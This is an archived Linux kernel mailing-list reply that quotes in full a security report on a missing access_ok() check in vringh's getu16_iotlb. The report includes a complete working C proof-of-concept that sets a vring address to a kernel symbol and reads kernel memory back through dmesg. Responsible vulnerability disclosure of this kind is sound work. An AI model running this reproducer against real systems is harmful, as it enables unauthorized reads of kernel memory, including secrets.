From: David Laight <david.laight.linux@gmail.com>
To: Haoran Wang <haoranwangsec@gmail.com>
Cc: mst@redhat.com, jasowangio@gmail.com, kvm@vger.kernel.org,
virtualization@lists.linux.dev, netdev@vger.kernel.org,
eperezma@redhat.com, linux-kernel@vger.kernel.org,
security@kernel.org
Subject: Re: [BUG] vhost/vringh: __get_user without access_ok leaks kernel memory via vDPA passthrough
Date: Sat, 17 Oct 2026 22:59:07 +0100 [thread overview]
Message-ID: <20261017225907.591bc0a1@pumpkin> (raw)
In-Reply-To: <6ad07f8a.a0c71a5e.2d2efd.977a@mx.google.com>
On Thu, 15 Oct 2026 15:23:45 +0800
Haoran Wang <haoranwangsec@gmail.com> wrote:
> I'd like to report an issue in drivers/vhost/vringh.c:1216 (function
> getu16_iotlb), found via static analysis of Linux 7.0.11 and verified
> against the 7.2.10 source tree. I have reproduced the leak on an
> unmodified 7.2.10 kernel.
>
> 1. Summary
> getu16_iotlb() calls __get_user(tmp, (__virtio16 __user *)iov_base)
> without an access_ok() check. iov_base originates from iotlb_translate(),
> which only performs an IOTLB interval lookup (vhost_iotlb_itree_first) and
> does not call access_ok(). In the vdpa_sim default passthrough mode the
> entire address space is identity-mapped ([0, ULONG_MAX] -> 0), and
> vdpasim_set_vq_address() stores the controller-supplied vring address
> verbatim with no validation. A controller with CAP_NET_ADMIN can therefore
> set a vring avail_user_addr to a kernel address. On a vq kick the vdpa_sim
> worker reads 2 bytes from that kernel address via __get_user (no
> access_ok). Each vring iteration reads 2 bytes and the value is
> repeatable, yielding an arbitrary-kernel-address 2-byte read. get_user()
> would have rejected a kernel address via access_ok(), while__get_user() does
> not.
Can 'YOU' write that in proper English?
That is just horrid twaddle.
David
>
> 2. Vulnerable code
> - File: drivers/vhost/vringh.c:1216 (unchanged in 7.2.10)
> - Function: getu16_iotlb
> - Misused API: __get_user
>
> ```c
> /* drivers/vhost/vringh.c:1216 - getu16_iotlb (IOTLB read helper, per vring iteration) */
> if (vrh->use_va) {
> ret = __get_user(tmp, (__virtio16 __user *)ivec.iov.iovec[0].iov_base); /* no access_ok */
> }
>
> /* iov_base comes from iotlb_translate() (IOTLB lookup only, no access_ok) */
> /* drivers/vdpa/vdpa_sim/vdpa_sim.c:157-159 - passthrough identity-maps everything */
> vhost_iotlb_add_range(&iommu, 0, ULONG_MAX, 0, VHOST_MAP_RW);
> /* vdpa_sim.c:297 - set_vq_address stores the controller u64 verbatim, no validation */
> vq->desc_addr = desc_area; /* controller-controlled = kernel address */
> ```
>
> 3. Root cause
> get_user() = access_ok() + __get_user(). __get_user() skips access_ok()
> (it expands to __get_user_nocheck, which performs no check_range, whereas
> get_user/put_user expand to the check_range-bearing variants that reject
> kernel addresses). In the vhost-vdpa + vdpa_sim use_va path, the vring
> addresses supplied by the controller (driver_addr/desc_addr) flow through
> iotlb_translate(), which only does a vhost_iotlb_itree_first() interval
> lookup. vdpa_sim's default passthrough IOTLB identity-maps the whole
> address space, so any address passes the lookup. vdpasim_set_vq_address()
> stores the controller's u64 with no user/kernel validation, and
> vhost_vring_set_addr()'s access_ok is skipped in the vhost-vdpa path
> because vq->private_data is never set. Consequently __get_user
> dereferences an attacker-chosen kernel virtual address: the vdpa_sim
> worker runs under kthread_use_mm() in the controller's mm with SMAP
> disabled (STAC), and kernel addresses are mapped there, so 2 bytes of
> kernel memory are read. With num=1, __vringh_get_head() sees head (the
> leaked u16) >= 1 and calls vringh_bad(), which printk's the leaked value
> to dmesg, making the leak externally observable.
>
> 4. Affected versions
> Present in: Linux 7.0.11. 7.2.10: still present, reproduced on 7.2.10 kernel.
>
> 5. Trigger / Preconditions
> CAP_NET_ADMIN + vdpa_sim (CONFIG_VDPA_SIM / VDPA_SIM_BLOCK) + use_va mode.
> The controller creates a vdpasim device, binds its mm (VHOST_SET_OWNER,
> enabling use_va), negotiates VIRTIO_F_ACCESS_PLATFORM, sets the vring
> avail_user_addr to a kernel address, enables the vq, sets DRIVER_OK, and
> kicks the vq. The worker then reads 2 bytes at the chosen kernel address.
>
> 6. Proof of Concept
> Reproduced on Linux 7.2.10 tarball (config-only: CONFIG_KASAN=y, VHOST_VDPA=y,
> VDPA_SIM=y, VDPA_SIM_BLOCK=y). The trigger sets avail_user_addr = &linux_banner
> and reads avail->ring[0] (at banner+4). With num=1, the leaked u16 is printk'd
> by vringh_bad().
>
> Concrete reproduced evidence (7.2.10):
> - dmesg: "vringh:" then "Guest says index 8312 > 1 is available"
> - leaked value = 8312 = 0x2078 = linux_banner[4]='x'(0x78) |
> (linux_banner[5]=' '(0x20) << 8)
> - The expected value is independently computable from /proc/version (which
> prints the same linux_banner): proc_version[4] | (proc_version[5] << 8)
> = 0x78 | 0x2000 = 0x2078 = 8312. The reproduced value MATCHES.
> - Across 3 boots the banner *address* changed under KASLR
> (0xffffffff8b517280 / 0xffffffffa3f17280 / 0xffffffff90717280; the
> trigger resolves it at runtime via /proc/kallsyms), while the leaked
> *content* was 8312 every time. KASLR only randomizes the address, the 2
> bytes read there are constant.
>
> So a CAP_NET_ADMIN controller can read 2 bytes at an arbitrary kernel
> virtual address by setting a vring avail_user_addr to that address and
> kicking the vdpa_sim worker. The value is disclosed to dmesg via
> vringh_bad(). This is an arbitrary-kernel-address 2-byte read on an
> 7.2.10 kernel.
>
> Reproducer (vringh_leak.c) -- runs in the QEMU guest as root
> (CAP_NET_ADMIN):
>
> ```c
> #define _GNU_SOURCE
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <unistd.h>
> #include <fcntl.h>
> #include <errno.h>
> #include <stdint.h>
> #include <sys/ioctl.h>
> #include <sys/socket.h>
> #include <sys/mman.h>
> #include <linux/netlink.h>
> #include <linux/genetlink.h>
> #include <linux/vhost.h>
> #include <linux/vdpa.h>
> #include <sys/eventfd.h>
>
> #ifndef VHOST_VDPA
> #define VHOST_VDPA 0xAF
> #endif
>
> #ifndef VHOST_BACKEND_F_IOTLB_MSG_V2
> #define VHOST_BACKEND_F_IOTLB_MSG_V2 0x1
> #endif
> #ifndef VHOST_BACKEND_F_IOTLB_BATCH
> #define VHOST_BACKEND_F_IOTLB_BATCH 0x2
> #endif
> #ifndef VHOST_BACKEND_F_IOTLB_ASID
> #define VHOST_BACKEND_F_IOTLB_ASID 0x3
> #endif
> #ifndef VHOST_BACKEND_F_ENABLE_AFTER_DRIVER_OK
> #define VHOST_BACKEND_F_ENABLE_AFTER_DRIVER_OK 0x6
> #endif
>
> static inline int nla_ok_(const struct nlattr *nla, int remaining)
> {
> return remaining >= (int)sizeof(struct nlattr) &&
> nla->nla_len >= (int)sizeof(struct nlattr) &&
> nla->nla_len <= remaining;
> }
> static inline struct nlattr *nla_next_(const struct nlattr *nla, int *remaining)
> {
> int tot = (int)NLA_ALIGN(nla->nla_len);
> *remaining -= tot;
> return (struct nlattr *)((char *)nla + tot);
> }
> static inline void *nla_data_(const struct nlattr *nla)
> {
> return (char *)nla + NLA_HDRLEN;
> }
>
> #ifndef VDPA_GENL_NAME
> #define VDPA_GENL_NAME "vdpa"
> #endif
> #ifndef VDPA_GENL_VERSION
> #define VDPA_GENL_VERSION 1
> #endif
> #ifndef VDPA_CMD_DEV_NEW
> #define VDPA_CMD_DEV_NEW 3
> #endif
> #ifndef VDPA_CMD_DEV_DEL
> #define VDPA_CMD_DEV_DEL 4
> #endif
> #ifndef VDPA_ATTR_MGMTDEV_DEV_NAME
> #define VDPA_ATTR_MGMTDEV_DEV_NAME 2
> #endif
> #ifndef VDPA_ATTR_DEV_NAME
> #define VDPA_ATTR_DEV_NAME 4
> #endif
>
> #define die(fmt, ...) do { fprintf(stderr, "FATAL: " fmt "\n", ##__VA_ARGS__); exit(1); } while (0)
> #define xp(fmt, ...) do { int _e = errno; fprintf(stderr, "ERR " fmt " (%s)\n", ##__VA_ARGS__, strerror(_e)); } while (0)
>
> static int nlsock;
> static __u32 nlseq = 0;
>
> static int nla_put_str(struct nlmsghdr *nlh, int len, int type, const char *s)
> {
> struct nlattr { __u16 nla_len; __u16 nla_type; } *nla;
> int sl = (int)strlen(s) + 1;
> int pl = NLA_HDRLEN + sl;
> int pad = NLA_ALIGN(sl) - sl;
> if (NLMSG_ALIGN(nlh->nlmsg_len) + NLA_ALIGN(pl) > (size_t)len) return -1;
> nla = (void *)nlh + NLMSG_ALIGN(nlh->nlmsg_len);
> nla->nla_len = (__u16)pl;
> nla->nla_type = (__u16)type;
> memcpy((char *)nla + NLA_HDRLEN, s, sl);
> nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + NLA_ALIGN(pl);
> (void)pad;
> return 0;
> }
>
> static int genl_resolve_family(const char *name, __u16 *fam_id)
> {
> char buf[1024];
> struct nlmsghdr *nlh = (void *)buf;
> struct genlmsghdr *gh;
> memset(buf, 0, sizeof(buf));
> nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh));
> nlh->nlmsg_type = GENL_ID_CTRL;
> nlh->nlmsg_flags = NLM_F_REQUEST;
> nlh->nlmsg_seq = ++nlseq;
> gh = NLMSG_DATA(nlh);
> gh->cmd = CTRL_CMD_GETFAMILY;
> gh->version = 1;
> nla_put_str(nlh, sizeof(buf), CTRL_ATTR_FAMILY_NAME, name);
> struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
> struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
> struct msghdr msg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &iov, .msg_iovlen = 1 };
> if (sendmsg(nlsock, &msg, 0) < 0) { xp("sendmsg getfamily"); return -1; }
> char rbuf[4096];
> struct iovec riov = { .iov_base = rbuf, .iov_len = sizeof(rbuf) };
> struct msghdr rmsg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &riov, .msg_iovlen = 1 };
> ssize_t n = recvmsg(nlsock, &rmsg, 0);
> if (n < 0) { xp("recvmsg getfamily"); return -1; }
> struct nlmsghdr *r = (void *)rbuf;
> if (!NLMSG_OK(r, (size_t)n)) return -1;
> if (r->nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *e = NLMSG_DATA(r); fprintf(stderr, "genl getfamily error %d\n", e->error); return -1; }
> int hlen = GENL_HDRLEN;
> struct nlattr *na = (void *)r + NLMSG_HDRLEN + hlen;
> int rem = (int)(r->nlmsg_len - NLMSG_HDRLEN - hlen);
> *fam_id = 0;
> for (; nla_ok_(na, rem); na = nla_next_(na, &rem)) {
> if (na->nla_type == CTRL_ATTR_FAMILY_ID) {
> *fam_id = *(__u16 *)nla_data_(na);
> return 0;
> }
> }
> return -1;
> }
>
> static int genl_dev_new(__u16 fam, const char *mgmtdev, const char *devname)
> {
> char buf[1024];
> struct nlmsghdr *nlh = (void *)buf;
> struct genlmsghdr *gh;
> memset(buf, 0, sizeof(buf));
> nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh));
> nlh->nlmsg_type = fam;
> nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
> nlh->nlmsg_seq = ++nlseq;
> gh = NLMSG_DATA(nlh);
> gh->cmd = VDPA_CMD_DEV_NEW;
> gh->version = VDPA_GENL_VERSION;
> if (nla_put_str(nlh, sizeof(buf), VDPA_ATTR_MGMTDEV_DEV_NAME, mgmtdev) < 0) return -1;
> if (nla_put_str(nlh, sizeof(buf), VDPA_ATTR_DEV_NAME, devname) < 0) return -1;
> struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
> struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
> struct msghdr msg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &iov, .msg_iovlen = 1 };
> if (sendmsg(nlsock, &msg, 0) < 0) { xp("sendmsg dev_new"); return -1; }
> char rbuf[4096];
> struct iovec riov = { .iov_base = rbuf, .iov_len = sizeof(rbuf) };
> struct msghdr rmsg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &riov, .msg_iovlen = 1 };
> ssize_t n = recvmsg(nlsock, &rmsg, 0);
> if (n < 0) { xp("recvmsg dev_new"); return -1; }
> struct nlmsghdr *r = (void *)rbuf;
> if (!NLMSG_OK(r, (size_t)n)) return -1;
> if (r->nlmsg_type == NLMSG_ERROR) {
> struct nlmsgerr *e = NLMSG_DATA(r);
> if (e->error == 0)
> return 0;
> fprintf(stderr, "dev_new error %d (%s)\n", e->error, strerror(-e->error));
> return -1;
> }
> return 0;
> }
>
> static int genl_dev_del(__u16 fam, const char *devname)
> {
> char buf[1024];
> struct nlmsghdr *nlh = (void *)buf;
> struct genlmsghdr *gh;
> memset(buf, 0, sizeof(buf));
> nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh));
> nlh->nlmsg_type = fam;
> nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
> nlh->nlmsg_seq = ++nlseq;
> gh = NLMSG_DATA(nlh);
> gh->cmd = VDPA_CMD_DEV_DEL;
> gh->version = VDPA_GENL_VERSION;
> nla_put_str(nlh, sizeof(buf), VDPA_ATTR_DEV_NAME, devname);
> struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
> struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
> struct msghdr msg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &iov, .msg_iovlen = 1 };
> sendmsg(nlsock, &msg, 0);
> char rbuf[4096]; struct iovec riov = { .iov_base = rbuf, .iov_len = sizeof(rbuf) };
> struct msghdr rmsg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &riov, .msg_iovlen = 1 };
> recvmsg(nlsock, &rmsg, 0);
> return 0;
> }
>
> static unsigned long ksym(const char *want)
> {
> FILE *f = fopen("/proc/kallsyms", "r");
> if (!f) return 0;
> char line[512];
> unsigned long a = 0;
> while (fgets(line, sizeof(line), f)) {
> char type; char name[256];
> if (sscanf(line, "%lx %c %255s", &a, &type, name) == 3) {
> if (strcmp(name, want) == 0) { fclose(f); return a; }
> }
> }
> fclose(f);
> return 0;
> }
>
> static int expected_leak(unsigned *out)
> {
> FILE *f = fopen("/proc/version", "r");
> if (!f) return -1;
> char v[256];
> if (!fgets(v, sizeof(v), f)) { fclose(f); return -1; }
> fclose(f);
> int len = (int)strlen(v);
> if (len < 6) return -1;
> unsigned m = ((unsigned)(unsigned char)v[4]) | (((unsigned)(unsigned char)v[5]) << 8);
> *out = m;
> fprintf(stderr, "[*] /proc version bytes[4,5] = 0x%02x 0x%02x => expected leak M = 0x%04x (%u)\n",
> (unsigned char)v[4], (unsigned char)v[5], m, m);
> fprintf(stderr, "[*] /proc/version = %.40s\n", v);
> return 0;
> }
>
> int main(int argc, char **argv)
> {
> unsigned exp;
> if (expected_leak(&exp)) die("cannot read /proc/version");
> unsigned long banner = ksym("linux_banner");
> fprintf(stderr, "[*] linux_banner @ 0x%lx\n", banner);
> if (!banner) die("linux_banner not in /proc/kallsyms (need root)");
>
> nlsock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
> if (nlsock < 0) die("netlink socket");
> struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
> if (bind(nlsock, (struct sockaddr *)&sa, sizeof(sa)) < 0) die("netlink bind");
> __u16 fam;
> if (genl_resolve_family(VDPA_GENL_NAME, &fam)) die("resolve genl family 'vdpa' (CONFIG_VDPA?)");
> fprintf(stderr, "[*] genl family 'vdpa' id=%u\n", fam);
> if (genl_dev_new(fam, "vdpasim_blk", "sim0")) die("dev_new vdpasim_blk (CONFIG_VDPA_SIM_BLOCK?)");
> fprintf(stderr, "[*] created vdpa device sim0 (vdpasim_blk)\n");
>
> char path[64]; int vfd = -1;
> for (int i = 0; i < 50; i++) {
> snprintf(path, sizeof(path), "/dev/vhost-vdpa-%d", i);
> vfd = open(path, O_RDWR | O_CLOEXEC);
> if (vfd >= 0) break;
> }
> if (vfd < 0) die("open /dev/vhost-vdpa-*");
> fprintf(stderr, "[*] opened %s fd=%d\n", path, vfd);
>
> int callfd = eventfd(0, EFD_CLOEXEC);
> int kickfd = eventfd(0, EFD_CLOEXEC);
> if (callfd < 0 || kickfd < 0) die("eventfd");
>
> if (ioctl(vfd, VHOST_SET_OWNER)) die("VHOST_SET_OWNER");
>
> __u64 bf = 0;
> if (ioctl(vfd, VHOST_GET_BACKEND_FEATURES, &bf)) xp("get_backend_features");
> __u64 setbf = bf | (1ULL << VHOST_BACKEND_F_IOTLB_MSG_V2)
> | (1ULL << VHOST_BACKEND_F_IOTLB_BATCH)
> | (1ULL << VHOST_BACKEND_F_IOTLB_ASID)
> | (1ULL << VHOST_BACKEND_F_ENABLE_AFTER_DRIVER_OK);
> if (ioctl(vfd, VHOST_SET_BACKEND_FEATURES, &setbf)) xp("set_backend_features");
>
> __u64 feat = 0;
> if (ioctl(vfd, VHOST_GET_FEATURES, &feat)) die("get_features");
> __u64 ack = 0;
> ack |= (1ULL << VIRTIO_F_ACCESS_PLATFORM);
> ack |= (1ULL << VIRTIO_F_VERSION_1);
> ack |= (1ULL << VIRTIO_F_ANY_LAYOUT);
> ack &= feat;
> if (!(ack & (1ULL << VIRTIO_F_ACCESS_PLATFORM))) die("ACCESS_PLATFORM not supported - no use_va?");
> if (ioctl(vfd, VHOST_SET_FEATURES, &ack)) die("set_features (need ACCESS_PLATFORM)");
>
> struct vhost_vring_state vs = { .index = 0, .num = 1 };
> if (ioctl(vfd, VHOST_SET_VRING_NUM, &vs)) die("set_vring_num");
>
> size_t pg = 4096;
> void *descbuf = mmap(NULL, pg, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
> void *usedbuf = mmap(NULL, pg, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
> if (descbuf == MAP_FAILED || usedbuf == MAP_FAILED) die("mmap");
> memset(descbuf, 0, pg); memset(usedbuf, 0, pg);
>
> struct vhost_vring_addr va = {0};
> va.index = 0;
> va.flags = 0;
> va.desc_user_addr = (uintptr_t)descbuf;
> va.avail_user_addr = (uintptr_t)banner; /* <-- KERNEL address, the leak source */
> va.used_user_addr = (uintptr_t)usedbuf;
> va.log_guest_addr = 0;
> if (ioctl(vfd, VHOST_SET_VRING_ADDR, &va)) die("set_vring_addr (avail=kernel addr rejected?)");
>
> struct vhost_vring_state base = { .index = 0, .num = 0 };
> if (ioctl(vfd, VHOST_SET_VRING_BASE, &base)) die("set_vring_base");
>
> struct vhost_vring_file cf = { .index = 0, .fd = callfd };
> if (ioctl(vfd, VHOST_SET_VRING_CALL, &cf)) die("set_vring_call");
> struct vhost_vring_file kf = { .index = 0, .fd = kickfd };
> if (ioctl(vfd, VHOST_SET_VRING_KICK, &kf)) die("set_vring_kick");
>
> struct vhost_vring_state en = { .index = 0, .num = 1 };
> if (ioctl(vfd, VHOST_VDPA_SET_VRING_ENABLE, &en)) die("set_vring_enable");
>
> __u8 status = VIRTIO_CONFIG_S_ACKNOWLEDGE | VIRTIO_CONFIG_S_DRIVER
> | VIRTIO_CONFIG_S_FEATURES_OK | VIRTIO_CONFIG_S_DRIVER_OK;
> if (ioctl(vfd, VHOST_VDPA_SET_STATUS, &status)) die("set_status DRIVER_OK");
>
> uint64_t one = 1;
> if (write(kickfd, &one, sizeof(one)) != sizeof(one)) die("kick write");
>
> unsigned leaked = 0; int found = 0;
> for (int try = 0; try < 20 && !found; try++) {
> usleep(100000);
> FILE *d = popen("dmesg 2>/dev/null", "r");
> if (d) {
> char l[512];
> while (fgets(l, sizeof(l), d)) {
> char *p = strstr(l, "Guest says index");
> if (p) {
> unsigned idx = 0, numv = 0;
> if (sscanf(p, "Guest says index %u > %u is available",
> &idx, &numv) >= 1) {
> leaked = idx; found = 1;
> fprintf(stderr, "[!!] dmesg: %s", l);
> break;
> }
> }
> }
> pclose(d);
> }
> }
>
> if (!found) {
> fprintf(stderr, "[!] no vringh_bad leak line in dmesg; dumping tail:\n");
> FILE *d = popen("dmesg 2>/dev/null | tail -40", "r");
> if (d) { char l[512]; while (fgets(l, sizeof(l), d)) fputs(l, stderr); pclose(d); }
> die("leak not observed (worker may not have run, or use_va/mm_bound not set)");
> }
>
> fprintf(stderr, "\n=== RESULT ===\n");
> fprintf(stderr, "leaked kernel u16 @ linux_banner+4 = 0x%04x (%u)\n", leaked, leaked);
> fprintf(stderr, "expected (/proc/version[4,5]) = 0x%04x (%u)\n", exp, exp);
> if (leaked == exp) {
> fprintf(stderr, "MATCH: __get_user read 2 bytes at kernel addr 0x%lx via vringh.c:1216\n", banner + 4);
> fprintf(stderr, "PROVEN: arbitrary-kernel-address 2-byte read (no access_ok) on unmodified kernel\n");
> } else {
> fprintf(stderr, "MISMATCH - investigate\n");
> }
>
> status = 0; ioctl(vfd, VHOST_VDPA_SET_STATUS, &status);
> close(vfd); close(callfd); close(kickfd);
> genl_dev_del(fam, "sim0");
> return (leaked == exp) ? 0 : 2;
> }
> ```
>
> Captured dmesg from the 7.2.10 run (the disclosed leaked value):
> ```
> [ 1.882938] vringh:
> [ 1.882944] Guest says index 8312 > 1 is available
> ```
>
> 7. Impact
> Privileged kernel memory information leak: a CAP_NET_ADMIN controller can
> read 2 bytes at an arbitrary kernel virtual address per vring kick via
> __get_user() with no access_ok(), and the value is disclosed to dmesg via
> vringh_bad(). The read is repeatable, so the whole kernel address space
> can be scanned 2 bytes at a time (kernel .text/.data, structure contents,
> in-memory keys). CAP_NET_ADMIN should not grant arbitrary kernel-memory
> reads. No memory corruption. KASLR does not prevent it (only the address
> is randomized, the leaked content is constant). Only the use_va mode is
> affected (the non-use_va path goes through GUP, which has an equivalent
> check_range guard).
>
> Please let me know if you need more detail.
>
> Best regards,
> Haoran Wang <haoranwangsec@gmail.com>
prev parent reply other threads:[~2026-10-17 21:59 UTC|newest]
Thread overview: 3+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-10-15 7:23 [BUG] vhost/vringh: __get_user without access_ok leaks kernel memory via vDPA passthrough Haoran Wang
2026-10-15 7:42 ` Eugenio Perez Martin
2026-10-17 21:59 ` David Laight [this message]
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=20261017225907.591bc0a1@pumpkin \
--to=david.laight.linux@gmail.com \
--cc=eperezma@redhat.com \
--cc=haoranwangsec@gmail.com \
--cc=jasowangio@gmail.com \
--cc=kvm@vger.kernel.org \
--cc=linux-kernel@vger.kernel.org \
--cc=mst@redhat.com \
--cc=netdev@vger.kernel.org \
--cc=security@kernel.org \
--cc=virtualization@lists.linux.dev \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.